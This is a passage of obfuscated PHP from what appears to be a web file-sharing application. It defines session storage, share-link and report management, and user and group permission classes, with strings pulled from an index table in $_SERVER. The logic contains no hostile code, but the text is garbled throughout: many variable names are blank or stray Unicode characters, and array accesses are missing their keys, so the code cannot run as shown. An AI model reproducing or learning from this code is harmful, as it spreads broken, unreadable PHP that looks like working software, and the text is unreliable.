} } } $ݳ++; } } if ($® == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $Մ =& $_SERVER[]; header($_SERVER[$Մ[1595]] . $Մ[1596]); echo $Մ[1597]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$[1589]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $ =& $_SERVER[]; static $̷ = false; if ($̷) { return $̷; } $˦ = $GLOBALS[$[6]][$[344]]; self::$sessionTime = $˦[$[1598]]; $Ǘ = isset($GLOBALS[$[1599]]) ? $GLOBALS[$[1599]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($Ǘ)) { self::$sessionSign = Cookie::get($Ǘ); } else { self::$sessionSign = guid(); } } Cookie::setSafe($Ǘ, self::$sessionSign, self::$sessionTime); $儑 = $˦[$[1600]]; $է = $˦[$儑]; $ = $˦[$[821]]; switch ($儑) { case $[21]: self::$handle = Model($[822]); break; case $[823]: self::$handle = new CacheRedis($է, $); break; case $[824]: self::$handle = new CacheMemcached($է, $); break; case $[192]: $է[$[78]] = $է[$[78]] . $[1601]; self::$handle = new CacheFile($է, $); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $̷ = new self(); return $̷; } public static function getBySign($ʀ) { CacheLock::lock($ʀ); $Ο = self::$handle->get($ʀ); CacheLock::unlock($ʀ); $Ο = unserialize($Ο); return is_array($Ο) ? $Ο : array(); } public static function setBySign($, $𺀷) { CacheLock::lock($); self::$handle->set($, serialize($𺀷), self::$sessionTime); CacheLock::unlock($); } public static function sign($ = false) { $ && (self::$sessionSign = $); self::init(); return self::$sessionSign; } public static function set($, $ = false) { self::init(); if (is_array($)) { foreach ($ as $џ => $򏛪) { array_set_value(self::$data, $џ, $򏛪); } } else { array_set_value(self::$data, $, $); } self::setBySign(self::$sessionSign, self::$data); } public static function get($̏ = false) { self::init(); if (!$̏) { return self::$data; } return array_get_value(self::$data, $̏); } public static function remove($ݓ) { self::init(); unset(self::$data[$ݓ]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[][826])) { self::$handle->clearTimeout(); } } } goto eӖ; b߉Í: class SessionModel extends ModelBase { protected $tableName = "\163\171\163\164\145\155\137\x73\x65\163\163\151\157\156"; public function get($) { $ܪ =& $_SERVER[]; $숽̸ = $this->where(array($ܪ[1940] => $))->find(); if (!is_array($숽̸)) { return !1; } return $숽̸[$ܪ[748]]; } public function set($ע, $, $ࣁȍ = 3600) { $ =& $_SERVER[]; $ᅿ = array($[1940] => $ע, $[1848] => $, $[1941] => $ࣁȍ + time()); if (Session::get($[1942])) { $ᅿ[$[1642]] = Session::get($[1942]); } else { $ᅿ[$[1642]] = 0; } if ($this->get($ע)) { return $this->where(array($[1940] => $ע))->save($ᅿ); } else { return $this->add($ᅿ, array(), !0); } } public function remove($܄) { return $this->where(array($_SERVER[][1940] => $܄))->delete(); } public function clearTimeout() { return $this->where($_SERVER[][1943] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "\163\x68\141\162\145"; protected $dataAuto = array(array("\x6d\x6f\x64\x69\146\x79\x54\151\x6d\145", "\164\x69\155\145", "\151\x6e\x73\x65\162\x74\54\x75\160\x64\141\x74\x65", "\x66\x75\156\143\164\151\x6f\x6e"), array("\143\x72\x65\141\164\145\124\151\x6d\x65", "\x74\151\x6d\x65", "\151\x6e\163\x65\x72\x74", "\146\x75\156\143\164\x69\x6f\156"), array("\x6f\160\x74\151\x6f\156\x73", '', "\151\156\163\x65\162\x74\x2c\165\x70\144\x61\x74\145\x2c\x73\x65\154\x65\143\164", "\152\163\x6f\x6e")); private $fieldList = "\52"; protected function cacheFunctionAlias($) { $˦ =& $_SERVER[]; $ = isset($[0]) ? $[0] : !1; return array($˦[1944] => array(USER_ID, $˦[1945]), $˦[1889] => array($, $˦[1946])); } protected function listSimple() { $ = array($_SERVER[][1642] => USER_ID); $߅ = $this->field($this->fieldList)->where($)->select(); return $߅ ? $߅ : array(); } protected function getInfo($, $ = false) { $ݯ =& $_SERVER[]; if ($) { return $this->_getShareInfo(array($ݯ[488] => $)); } $ = $this->cacheFunctionGet($ݯ[1891], $); return $; } public function getInfoByHash($Ǧ) { return $this->_getShareInfo(array($_SERVER[][490] => $Ǧ)); } public function getInfoByPath($ߦ) { $ =& $_SERVER[]; $饬 = array($[1642] => USER_ID, $[403] => $ߦ); return $this->_getShareInfo($饬); } public function getInfoBySourcePath($մ) { $¯ =& $_SERVER[]; $تǣ = array($¯[1642] => USER_ID, $¯[1161] => $մ); return $this->_getShareInfo($تǣ); } private function _getShareInfo($ч) { $› =& $_SERVER[]; $ = $this->where($ч)->find(); if (!$) { return !1; } $ч = array($›[488] => $[$›[488]]); $ = $›[1947]; $ȩ = Model($›[596])->order($›[401])->field($)->where($ч)->select(); if ($[$›[403]] == $›[190]) { $[$›[87]] = IO::info($[$›[1161]]); } else { $[$›[87]] = Model($›[1312])->pathInfo($[$›[403]]); } $[$›[1948]] = $ȩ; return $; } protected function getInfoAuth($) { $ϲȊ =& $_SERVER[]; $ = $this->getInfo($); if ($[$ϲȊ[1642]] == USER_ID) { $[$ϲȊ[414]] = $[$ϲȊ[87]][$ϲȊ[414]]; } else { $[$ϲȊ[414]] = Model($ϲȊ[502])->authMake($[$ϲȊ[1948]]); } return $; } protected function listData($ = null, $û = 300) { $ =& $_SERVER[]; $Ä = array(array($[493] => array($[999], 0), $[495] => array($[999], 0), $[1949] => $[1905])); if ($ == $[1950]) { $Ä = array($[493] => 1); } else { if ($ == $[1146]) { $Ä = array($[495] => 1); } } $Ä[$[1642]] = USER_ID; $ۡ = $this->where($Ä)->selectPage($û); return $ۡ; } protected function listToMe($⑯ێ = 300) { $φ =& $_SERVER[]; $򌶻 = Model($φ[1951])->userGroupParents(USER_ID); $ׯ = array($φ[580] => SourceModel::TYPE_USER, $φ[504] => USER_ID); if ($򌶻) { $ׯ = array(array($φ[580] => SourceModel::TYPE_USER, $φ[504] => USER_ID), array($φ[580] => SourceModel::TYPE_GROUP, $φ[504] => array($φ[7], $򌶻)), $φ[1949] => $φ[1905]); } $ = Model($φ[596])->where($ׯ)->selectPage($⑯ێ); $ؓ = array_to_keyvalue_group($[$φ[364]], $φ[488]); if (!$ؓ) { return $; } $ = $φ[1952]; $ׯ = array($φ[488] => array($φ[419], array_keys($ؓ)), $φ[1642] => array($φ[1001], $φ[190])); $ = $this->field($)->where($ׯ)->select(); foreach ($ as $݈ => &$ħ) { $ħ[$φ[1948]] = $ؓ[$ħ[$φ[488]]]; } unset($ħ); $ϋ = array($φ[1953] => $, $φ[1954] => $[$φ[361]]); return $ϋ; } protected function shareAdd($٘, $ߒ͞) { $͈ =& $_SERVER[]; $ = $this->_addShareData($٘, $ߒ͞); if (!empty($ߒ͞[$͈[1955]])) { $this->_shareAuthSet($, $ߒ͞[$͈[1955]]); } $this->shareEventAdd($٘, $ߒ͞, $͈[1149]); return $; } protected function shareAddSystem($, $) { $иό =& $_SERVER[]; $ = $this->_addShareData($, $, $иό[1261]); $this->_shareAuthSet($, $[$иό[1955]]); return $; } private function shareEventAdd($, $ܥᣈ, $ = "\x61\144\x64") { $Ż =& $_SERVER[]; if (!$ || $ == $Ż[190]) { return; } if ($ == $Ż[1149]) { if ($ܥᣈ[$Ż[493]] == $Ż[89]) { Model($Ż[564])->eventShare($, $Ż[1956]); } if ($ܥᣈ[$Ż[495]] == $Ż[89]) { Model($Ż[564])->eventShare($, $Ż[1957]); } return; } $ = $this->getInfoByPath($); $Ń = $Ż[1958]; if ($[$Ż[493]] == $Ż[190] && $ܥᣈ[$Ż[493]] == $Ż[89]) { $Ń = $Ż[1956]; } if ($[$Ż[493]] == $Ż[89] && $ܥᣈ[$Ż[493]] == $Ż[190]) { $Ń = $Ż[1959]; } if ($[$Ż[495]] == $Ż[190] && $ܥᣈ[$Ż[495]] == $Ż[89]) { $Ń = $Ż[1957]; } if ($[$Ż[495]] == $Ż[89] && $ܥᣈ[$Ż[495]] == $Ż[190]) { $Ń = $Ż[1960]; } Model($Ż[564])->eventShare($, $Ń); return; } private function _addShareData($, $ܫ = array(), $ = false) { $Ë =& $_SERVER[]; $ = $ == $Ë[1261] ? 0 : USER_ID; $ = array($Ë[418] => $, $Ë[1633] => $); if ($ == 0) { $ = array($Ë[1961] => $ܫ[$Ë[1161]], $Ë[1633] => $); } if ($ꧦ = $this->where($)->find()) { return $ꧦ[$Ë[488]]; } if ($ == 0) { $̛ = array($Ë[32] => get_path_this($ܫ[$Ë[78]])); } else { $̛ = Model($Ë[818])->sourceInfo($); if (!$̛) { return !1; } } if (!$ܫ[$Ë[1539]]) { $ܫ[$Ë[1539]] = $̛[$Ë[32]]; } $з = array($Ë[1633] => $, $Ë[418] => $, $Ë[1539] => $Ë[12], $Ë[493] => 0, $Ë[495] => 0, $Ë[1161] => $Ë[12], $Ë[302] => $Ë[12], $Ë[876] => $Ë[12], $Ë[1962] => 0, $Ë[1963] => 0, $Ë[496] => 0, $Ë[497] => $Ë[12], $Ë[490] => $Ë[12]); $ = explode($Ë[50], $Ë[1964]); foreach ($ as $) { if (!isset($ܫ[$])) { continue; } $з[$] = $ܫ[$]; } $ҷ = $this->add($з); $َ = array($Ë[490] => short_id($ҷ)); $this->where(array($Ë[487] => $ҷ))->save($َ); return $ҷ; } private function _shareAuthSet($ϻ, $ż) { $ =& $_SERVER[]; if (!is_array($ż)) { return !1; } $ٶՌ = Model($[1915]); $ٶՌ->where(array($[488] => $ϻ))->delete(); $⍶ = array(); foreach ($ż as $) { $ = SourceModel::TYPE_USER; if ($[$[412]] == SourceModel::TYPE_GROUP) { $ = SourceModel::TYPE_GROUP; } $Պ = array($[488] => $ϻ, $[412] => $, $[504] => intval($[$[504]]), $[1911] => 0, $[1965] => -1); if ($[$[1911]]) { $Պ[$[1911]] = $[$[1911]]; } else { if ($[$[1965]]) { $Պ[$[1965]] = $[$[1965]]; } } $⍶[] = $Պ; } return $ٶՌ->addAll($⍶, array(), !0); } public function numViewAdd($) { $х =& $_SERVER[]; $՛ = array($х[487] => $); $this->where($՛)->setAdd($х[1962]); } public function numDownloadAdd($lj) { $ =& $_SERVER[]; $ = array($[487] => $lj); $this->where($)->setAdd($[1963]); } protected function shareEdit($ǙĘ, $) { $ =& $_SERVER[]; $ = $this->getInfo($ǙĘ); if (!$) { return !1; } $this->_checkLinkShare($, $); $ц = array(); $𠹗 = explode($[50], $[1966]); foreach ($𠹗 as $µ) { if (!array_key_exists($µ, $)) { continue; } $ц[$µ] = $[$µ]; } $this->shareEventAdd($[$[403]], $, $[1780]); $this->where(array($[487] => $ǙĘ))->save($ц); if (isset($[$[1955]])) { $this->_shareAuthSet($ǙĘ, $[$[1955]]); } return !0; } private function _checkLinkShare($П, $) { $І =& $_SERVER[]; if ($П[$І[493]] != $І[89]) { return; } $ݴ = $[$І[87]][$І[403]]; if ($[$І[87]][$І[33]] != $І[192]) { $ = $this->_folderReport($ݴ); if (!$) { return; } show_json(LNG($І[1967]) . $І[1968] . $, !1); } $ߥ = Model($І[818])->fileInfoGet($[$І[87]][$І[403]]); if (!$ߥ) { return; } $ѫ = $this->shareFileMeta($ߥ[$І[467]]); if (isset($ѫ[$І[369]]) && $ѫ[$І[369]] == $І[89]) { show_json(LNG($І[1969]), !1); } } private function _folderReport($ڇװ) { $› =& $_SERVER[]; $ = array($›[467] => array($›[999], 0), $›[743] => 3); $̔ = Model($›[1970])->where($)->field($›[467])->select(); if (!$̔) { return !1; } $̔ = array_to_keyvalue($̔, $›[12], $›[467]); $ = $›[50] . $ڇװ . $›[50]; $ = array($›[467] => array($›[7], $̔), $›[521] => array($›[378], "\45{$}\x25"), $›[431] => 0); $՚ڢ = Model($›[818])->where($)->field($›[1971])->find(); if (!$՚ڢ) { return !1; } $щ = substr($՚ڢ[$›[521]], strpos($՚ڢ[$›[521]], $)); $ = array($›[403] => array($›[7], trim($щ, $›[50]))); $۹ = Model($›[818])->where($)->field($›[32])->select(); $ = array_to_keyvalue($۹, $›[12], $›[32]); $[] = $՚ڢ[$›[32]]; return implode($›[8], $); } protected function remove($ʱ) { $ =& $_SERVER[]; if (is_array($ʱ)) { $ʱ = array($[7], $ʱ); } $ = array($[488] => $ʱ); $ = $this->where($)->delete(); if ($) { Model($[596])->where(array($[488] => $ʱ))->delete(); } $ = is_array($ʱ) ? $ʱ[1] : array($ʱ); for ($ = 0; $ < count($); $++) { $ = $this->getInfo($[$]); if ($[$[495]] == $[89]) { Model($[564])->eventShare($[$[403]], $[1960]); } if ($[$[493]] == $[89]) { Model($[564])->eventShare($[$[403]], $[1959]); } } return $; } protected function removeBySource($ᘗ) { $ިɱ =& $_SERVER[]; $ = array($ިɱ[418] => array($ިɱ[419], $ᘗ)); $ު = $this->field($ިɱ[488])->where($)->select(); $ު = array_to_keyvalue($ު, $ިɱ[12], $ިɱ[488]); if (!$ު) { return; } $ = array($ިɱ[487] => array($ިɱ[419], $ު)); $this->where($)->delete(); Model($ިɱ[596])->where($)->delete(); } public function listAll($) { $ߕʥ =& $_SERVER[]; $„ = array(); if ($[$ߕʥ[1642]]) { $„[$ߕʥ[1642]] = $[$ߕʥ[1642]]; } if ($[$ߕʥ[754]]) { $ = $[$ߕʥ[496]] ? $[$ߕʥ[496]] : strtotime(date($ߕʥ[1972])); $„[$ߕʥ[193]] = array($ߕʥ[328], array($[$ߕʥ[754]], $)); } if ($[$ߕʥ[33]]) { $„[$[$ߕʥ[33]]] = 1; } else { $„[] = array($ߕʥ[493] => array($ߕʥ[999], 0), $ߕʥ[495] => array($ߕʥ[999], 0), $ߕʥ[1949] => $ߕʥ[1905]); } if ($[$ߕʥ[1901]]) { $„[] = array($ߕʥ[490] => $[$ߕʥ[1901]], $ߕʥ[1539] => array($ߕʥ[378], "\45{$[$ߕʥ[1901]]}\x25"), $ߕʥ[1949] => $ߕʥ[1905]); } $ = $this->_makeOrder()->where($„)->selectPage(20); if (empty($[$ߕʥ[364]])) { return array(); } $this->_listDataApply($[$ߕʥ[364]]); return $; } public function listDataApply($泏) { $this->_listDataApply($泏); return $泏; } private function _listDataApply(&$҃) { $ =& $_SERVER[]; $֠ = array_to_keyvalue($҃, $[12], $[1642]); $ = Model($[538])->userListInfo(array_unique($֠)); $ = array_to_keyvalue($҃, $[12], $[403]); $Ĉ = Model($[818])->sourceListInfo($, !0); foreach ($҃ as $㥿 => &$῟) { $ = $῟[$[1642]]; $῟[$[1973]] = $[$] ? $[$] : !1; $ = $῟[$[403]]; $῟[$[87]] = $Ĉ[$] ? $Ĉ[$] : !1; if ($῟[$[87]][$[431]] == $[89]) { unset($҃[$㥿]); } if ($῟[$[87]] != $[190] && !$῟[$[87]]) { unset($҃[$㥿]); } } unset($῟); $҃ = array_values($҃); } private function _makeOrder($ő = '') { $ž۵ =& $_SERVER[]; $♌ = array($ž۵[193], $ž۵[496], $ž۵[1962], $ž۵[1963]); $Ծ = array($ž۵[448] => $ž۵[449], $ž۵[450] => $ž۵[451]); $Ċߔ = Input::get($ž۵[455], $ž۵[7], $ž۵[424], $♌); $ʐӾ = Input::get($ž۵[456], $ž۵[7], $ž۵[1974], array($ž۵[1900], $ž۵[450])); $ʐӾ = $Ծ[$ʐӾ]; $ő = $ő . "{$Ċߔ}\40{$ʐӾ}"; return $this->order($ő); } public function reportAdd($) { $ =& $_SERVER[]; $ꠦ = array($[488] => $[$[488]], $[1642] => USER_ID); if (Model($[1970])->where($ꠦ)->find()) { return !1; } $萄 = array($[488] => $[$[488]], $[1539] => $[$[1539]], $[403] => $[$[403]], $[467] => $[$[467]], $[1642] => USER_ID, $[33] => $[$[33]], $[451] => $[$[451]]); return Model($[1970])->add($萄); } public function reportList($) { $ =& $_SERVER[]; $֢ = array(); if ($[$[754]]) { $ٽ = $[$[496]] ? $[$[496]] : strtotime(date($[1972])); $֢[$[193]] = array($[328], array($[$[754]], $ٽ)); } if (isset($[$[33]]) && in_array($[$[33]], array($[89], $[435], $[1975], $[1976], $[1977]))) { $֢[$[33]] = $[$[33]]; } if (isset($[$[743]]) && in_array($[$[743]], array($[190], $[89], $[435], $[1975]))) { $֢[$[743]] = $[$[743]]; } $ِ̙ = Input::get($[456], $[7], $[1974], array($[1900], $[450])); $ = array($[448] => $[449], $[450] => $[451]); $Ȋ = $[1978] . $[$ِ̙]; $ƥ = Model($[1970])->where($֢)->order($Ȋ)->selectPage(20); if (empty($ƥ[$[364]])) { return array(); } $ކ = array_to_keyvalue_group($ƥ[$[364]], $[743], $[488]); if (!empty($ކ[0])) { $ = $ކ[0]; $֢ = array($[488] => array($[7], $)); $ݪʀ = $this->where($֢)->field($[488])->select(); $ݪʀ = array_to_keyvalue($ݪʀ, $[12], $[488]); $ = array_diff($, $ݪʀ); if (!empty($)) { foreach ($ƥ[$[364]] as $芓ȃ => $Շ) { if (in_array($Շ[$[488]], $)) { unset($ƥ[$[364]][$芓ȃ]); } } } } $this->_listDataApply($ƥ[$[364]]); return $ƥ; } public function reportStatus($) { $ =& $_SERVER[]; $ = array($[401] => $[$[401]]); $ќ = Model($[1970])->where($)->field($[1979])->find(); if (!$ќ) { return !1; } $򳐐 = array($[743] => $[$[743]]); if ($[$[743]] == $[1975] && $ќ[$[743]] == $[1975]) { $򳐐[$[743]] = 0; } $ُ֦ = Model($[1970])->where($)->save($򳐐); if ($[$[743]] == $[435]) { if ($ќ[$[467]] != $[190] && $this->shareFileMeta($ќ[$[467]])) { $this->shareFileMeta($ќ[$[467]], 0); } $this->remove($ќ[$[488]]); return !0; } if ($ُ֦ && $[$[743]] == $[1975]) { $ᯊ = $򳐐[$[743]] == $[1975] ? 1 : 0; $this->shareFileMeta($ќ[$[467]], $ᯊ); $this->removeByFile($ќ[$[467]]); } return $ُ֦; } private function removeByFile($ޑ) { $ݹ =& $_SERVER[]; $К = Model($ݹ[818])->where(array($ݹ[467] => $ޑ))->field($ݹ[403])->select(); $ʟ = array_to_keyvalue($К, $ݹ[12], $ݹ[403]); $⍐ = array($ݹ[403] => array($ݹ[7], $ʟ), $ݹ[493] => 1); $К = $this->where($⍐)->field($ݹ[488])->select(); if (empty($К)) { return; } $ވƬ = array_to_keyvalue($К, $ݹ[12], $ݹ[488]); $this->remove($ވƬ); } private function shareFileMeta($ȝ, $ = null) { $¹ =& $_SERVER[]; $ח = array($¹[467] => $ȝ, $¹[95] => $¹[1980]); if (is_null($)) { return Model($¹[1981])->where($ח)->find(); } $ח[$¹[369]] = $; Model($¹[1981])->add($ח, array(), !0); } } class SourceAuthModel extends ModelBase { protected $tableName = "\x69\x6f\137\163\157\165\162\143\x65\137\x61\x75\164\x68"; public function getAuth($) { $ =& $_SERVER[]; $ԧ = $this->sourceAuthSelect($); $̮А = array(); $ȥ = array(); $̊ = 2 << 25; foreach ($ԧ as $) { $ִ̉ = Model($[507])->listData($[$[1911]]); if (!$ִ̉) { continue; } $̮А[] = $; $ʘ = 0; if ($[$[412]] == SourceModel::TYPE_GROUP) { $ʘ = $̊ * 2; } if ($[$[412]] == SourceModel::TYPE_USER) { $ʘ = $̊; } if ($[$[412]] == SourceModel::TYPE_USER && $[$[504]] == $[190]) { $ʘ = 0; } $ȥ[] = $ִ̉[$[414]] + $ʘ; } array_multisort($ȥ, SORT_DESC, $̮А); return $̮А; } public function sourceAuthSelect($) { $ =& $_SERVER[]; static $ʞ = array(); $Ъ = is_array($) ? !1 : !0; if ($Ъ) { $ = array($); } $ = array(); foreach ($ as $) { if (isset($ʞ[$])) { $[$] = $ʞ[$]; } } if (count($) == count($)) { return $Ъ ? $[$[0]] : $; } $ = $[1982]; $遣 = array($[403] => array($[7], $)); $֨ܜ = $this->field($)->order($[401])->where($遣)->select(); $ = array_to_keyvalue_group($֨ܜ, $[403]); foreach ($ as $) { $ʞ[$] = $[$] ? $[$] : array(); } if ($Ъ) { return $֨ܜ; } return $; } public function setAuth($ºᔭ, $) { $˕ =& $_SERVER[]; $ = Model($˕[1312])->sourceInfo($ºᔭ); if (!$) { return !1; } if ($[$˕[412]] != SourceModel::TYPE_GROUP) { return !1; } $ = 1; $ = $[$˕[504]]; if ($ != $) { $ = array($˕[1810] => $); $˷ = Model($˕[1899])->field($˕[1642])->where($)->select(); $˷ = array_to_keyvalue($˷, $˕[12], $˕[1642]); } $λ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $ = array(); foreach ($ as $) { if (!in_array($[$˕[412]], $λ)) { show_json(LNG($˕[1983]), !1); } if ($ != $) { if ($[$˕[412]] == SourceModel::TYPE_GROUP) { } if ($[$˕[504]] != 0 && !in_array($[$˕[504]], $˷)) { } } if ($[$˕[504]] == 0) { $[$˕[412]] = SourceModel::TYPE_USER; } $[] = array($˕[403] => $ºᔭ, $˕[412] => intval($[$˕[412]]), $˕[504] => intval($[$˕[504]]), $˕[1911] => intval($[$˕[1911]]) ? intval($[$˕[1911]]) : 0, $˕[1965] => intval($[$˕[1965]]) ? intval($[$˕[1965]]) : -1); } $this->where(array($˕[418] => $ºᔭ))->delete(); $this->addAll($); return !0; } public function authClear($) { $ =& $_SERVER[]; $כ = Model($[1312])->sourceInfo($); $Ӷ = array($); if ($כ[$[411]] == $[89]) { $ = array($[584] => array($[544], $כ[$[521]] . $ . $[545])); $Ӷ = Model($[1312])->field($[418])->where($)->getField($[403], !0); $Ӷ[] = $; } $this->where(array($[418] => array($[419], $Ӷ)))->delete(); return !0; } public function getAllChildren($ɛ) { $߉ =& $_SERVER[]; $ = Model($߉[1312])->sourceInfo($ɛ); if ($[$߉[411]] != $߉[89]) { return $this->sourceListAuth(array($ɛ)); } if ($[$߉[412]] != SourceModel::TYPE_GROUP) { return array(); } $đ = 1; $ = array($ɛ); if ($[$߉[498]] == $߉[190] && $[$߉[504]] != $đ) { $ = $this->groupChidldAllRootSource($[$߉[504]]); } $ڍ = $this->field($߉[403])->group($߉[403])->select(); $ڍ = array_to_keyvalue($ڍ, $߉[12], $߉[403]); if (!$ڍ) { return array(); } $ާΊ = $߉[1984]; $ٵ = array($߉[403] => array($߉[7], $ڍ), $߉[431] => $߉[190]); $؏ = Model($߉[818])->field($ާΊ)->where($ٵ)->select(); $٦ = array($ɛ); foreach ($؏ as $ƺ) { foreach ($ as $) { $ = $߉[50] . $ . $߉[50]; $ȸ = $ƺ[$߉[521]] . $ƺ[$߉[403]] . $߉[50]; if (strstr($ȸ, $)) { $٦[] = $ƺ[$߉[403]]; break; } } } return $this->sourceListAuth($٦); } private function sourceListAuth($) { $ =& $_SERVER[]; $ſ݆ = Model($[1312])->sourceListInfo($, !0); $ = $this->sourceAuthSelect($); $ǁ = array(); $ŽՆ = array(); foreach ($ſ݆ as $) { unset($[$[454]]); unset($[$[452]]); unset($[$[414]]); unset($[$[87]]); $ = $[$[$[403]]]; if (!$) { continue; } $[$[1985]] = $this->authTargetInfo($); $[$[519]] = rtrim($[$[525]], $[8]) . $[8] . ltrim($[$[519]], $[8]); $ǁ[] = $; $֦ = count(explode($[8], trim($[$[519]], $[8]))); $ŽՆ[] = $֦ + ($[$[33]] == $[79] ? 0 : 1000); } array_multisort($ŽՆ, SORT_ASC, $ǁ); return $ǁ; } private function groupChidldAllRootSource($) { $껱 =& $_SERVER[]; $Ǘ = Model($껱[1986])->groupChildrenAll($); $㢤 = array($껱[498] => 0, $껱[504] => array($껱[7], $Ǘ), $껱[412] => SourceModel::TYPE_GROUP); $֋ = Model($껱[818])->field($껱[403])->where($㢤)->select(); $֋ = array_to_keyvalue($֋, $껱[12], $껱[403]); return $֋; } private function authTargetInfo($ӓ) { $Ө =& $_SERVER[]; $ = array(); $Ʉ = array(); $㛭 = 2 << 25; foreach ($ӓ as $Ԭ) { $͋ = Model($Ө[507])->listData($Ԭ[$Ө[1911]]); if (!$͋) { continue; } if ($Ԭ[$Ө[412]] == SourceModel::TYPE_USER) { $Ύ = Model($Ө[513])->getInfoSimpleOuter($Ԭ[$Ө[504]]); if ($Ύ[$Ө[1642]] == $Ө[1175]) { continue; } if ($Ύ[$Ө[1642]] == $Ө[190]) { $Ύ[$Ө[32]] = LNG($Ө[1987]); } } else { $Ύ = Model($Ө[522])->getInfoSimple($Ԭ[$Ө[504]]); } if (!$Ύ) { continue; } $Ύ[$Ө[466]] = $͋; $[] = $Ύ; $݉ = 0; if ($Ԭ[$Ө[412]] == SourceModel::TYPE_GROUP) { $݉ = $㛭 * 2; } if ($Ԭ[$Ө[412]] == SourceModel::TYPE_USER) { $݉ = $㛭; } if ($Ԭ[$Ө[412]] == SourceModel::TYPE_USER && $Ԭ[$Ө[504]] == $Ө[190]) { $݉ = 0; } $Ʉ[] = $͋[$Ө[414]] + $݉; } array_multisort($Ʉ, SORT_DESC, $); return $; } public function getAllChildrenByUser($–, $) { $Ϻި =& $_SERVER[]; $ = Model($Ϻި[538])->getInfo($); if (!$ || !$– || !$) { return array(); } $롁 = Model($Ϻި[1312])->sourceInfo($–); $ = array(); $ = 1; if ($롁[$Ϻި[498]] == $Ϻި[190] && $롁[$Ϻި[504]] != $ && $this->groupContainUser($롁[$Ϻި[504]], $)) { foreach ($[$Ϻި[1988]] as $Ў) { $ң = Model($Ϻި[522])->getInfo($Ў[$Ϻި[1810]]); $󃁠 = Model($Ϻި[538])->getInfoSimpleOuter($); $󃁠[$Ϻި[466]] = $Ў[$Ϻި[414]]; if (Model($Ϻި[507])->authCheckAction($Ў[$Ϻި[414]][$Ϻި[414]], $Ϻި[1830])) { continue; } $բǎ = array($Ϻި[32] => $Ϻި[1591] . $ң[$Ϻި[32]], $Ϻި[403] => $ң[$Ϻި[87]][$Ϻި[403]], $Ϻި[78] => KodIO::make($ң[$Ϻި[87]][$Ϻި[403]]), $Ϻި[498] => $Ϻި[190], $Ϻި[412] => $Ϻި[515], $Ϻި[33] => $Ϻި[548], $Ϻި[519] => $ң[$Ϻި[526]], $Ϻި[1810] => $ң[$Ϻި[1810]], $Ϻި[523] => $ң[$Ϻި[498]], $Ϻި[1985] => array($󃁠)); $[$բǎ[$Ϻި[403]]] = $բǎ; } } $ǐ = array(); $ϖ = $this->getAllChildren($–); foreach ($ϖ as $) { $Ͻ = !1; foreach ($[$Ϻި[1985]] as $Ԝ) { if ($Ԝ[$Ϻި[1642]]) { if ($Ԝ[$Ϻި[1642]] == $) { $Ͻ = !0; break; } } if ($Ԝ[$Ϻި[1810]]) { if ($this->groupContainUser($Ԝ[$Ϻި[1810]], $)) { $Ͻ = !0; break; } } } if ($Ͻ) { $ǐ[] = $; } $ = $[$Ϻި[403]]; if (isset($[$])) { $[$Ϻި[1985]][] = $[$][0]; $[$] = !1; } } $ = array_filter(array_values($)); $ǐ = array_merge($, $ǐ); return $ǐ; } public function setAllChildrenByUser($瑏, $ə, $Ѱ) { $ =& $_SERVER[]; $զ = $this->getAllChildrenByUser($瑏, $ə); if (!$Ѱ || !$զ) { return !1; } foreach ($զ as $) { $ = array(); foreach ($[$[1985]] as $ʉ) { $ = $ʉ[$[466]]; $վǸԢ = $ʉ[$[1642]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ = $ʉ[$[1642]] ? $ʉ[$[1642]] : $ʉ[$[1810]]; if ($ʉ[$[1642]] && $ʉ[$[1642]] == $ə) { continue; } $[] = array($[403] => $[$[403]], $[412] => $վǸԢ, $[504] => intval($), $[1911] => isset($[$[401]]) ? intval($[$[401]]) : 0, $[1965] => isset($[$[1965]]) ? intval($[$[1965]]) : -1); } $[] = array($[403] => $[$[403]], $[412] => SourceModel::TYPE_USER, $[504] => intval($ə), $[1911] => intval($Ѱ), $[1965] => -1); $this->where(array($[418] => $[$[403]]))->delete(); $this->addAll($); } return !0; } public function get($) { $ƴ = $this->getSourceList(array($), !0); return $ƴ[0]; } public function getSourceList($, $ = false, $ɭ = false) { $Ƹ =& $_SERVER[]; if (!$) { return array(); } $Ǖ = Model($Ƹ[1312]); if (!$ && count($) == 1) { $ = array(); $[$[0]] = $Ǖ->sourceInfo($[0]); } if (!$) { $ϩ = array($Ƹ[418] => array($Ƹ[419], $)); $ = $Ǖ->field($Ƹ[1989])->where($ϩ)->select(); $ = array_to_keyvalue($, $Ƹ[403]); } $Ë = $; foreach ($ as $ => $) { $ = $Ǖ->parentLevelArray($[$Ƹ[521]]); $Ë = array_merge($Ë, array($), array_reverse($)); } $Ë = array_values(array_unique($Ë)); if (!$Ë) { return array(); } $ = $this->sourceAuthSelect($Ë); $ۑ = array(); foreach ($Ë as $Ϯ׮) { if (isset($[$Ϯ׮])) { $ۑ[$Ϯ׮] = $[$Ϯ׮]; } } $١ = $this->userIsRoot($ɭ); $ٲ = AuthModel::authAll(); $ = array($Ƹ[415] => $ٲ, $Ƹ[1990] => array($Ƹ[420] => 0, $Ƹ[1816] => $ٲ, $Ƹ[421] => LNG($Ƹ[1991]), $Ƹ[1832] => $Ƹ[1992])); $ = array(); foreach ($ as $Ϯ׮ => $Ѧ) { if ($١) { $[$Ϯ׮] = $; continue; } $[$Ϯ׮] = $this->makeSourceAuth($Ѧ, $ۑ, $ɭ); } return $; } public function authDeepCheck($, $ = false) { $ԁ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ꡆ = $this->makeAuthDeep($); if (!in_array($, $ꡆ[$ԁ[1993]])) { return !1; } $죳 = array(); foreach ($ꡆ[$ԁ[1994]] as $⟲Ɯ => $) { if (!in_array($, $)) { continue; } $죳[] = $⟲Ɯ; } if (!$죳) { return !1; } $Ɂ = $죳 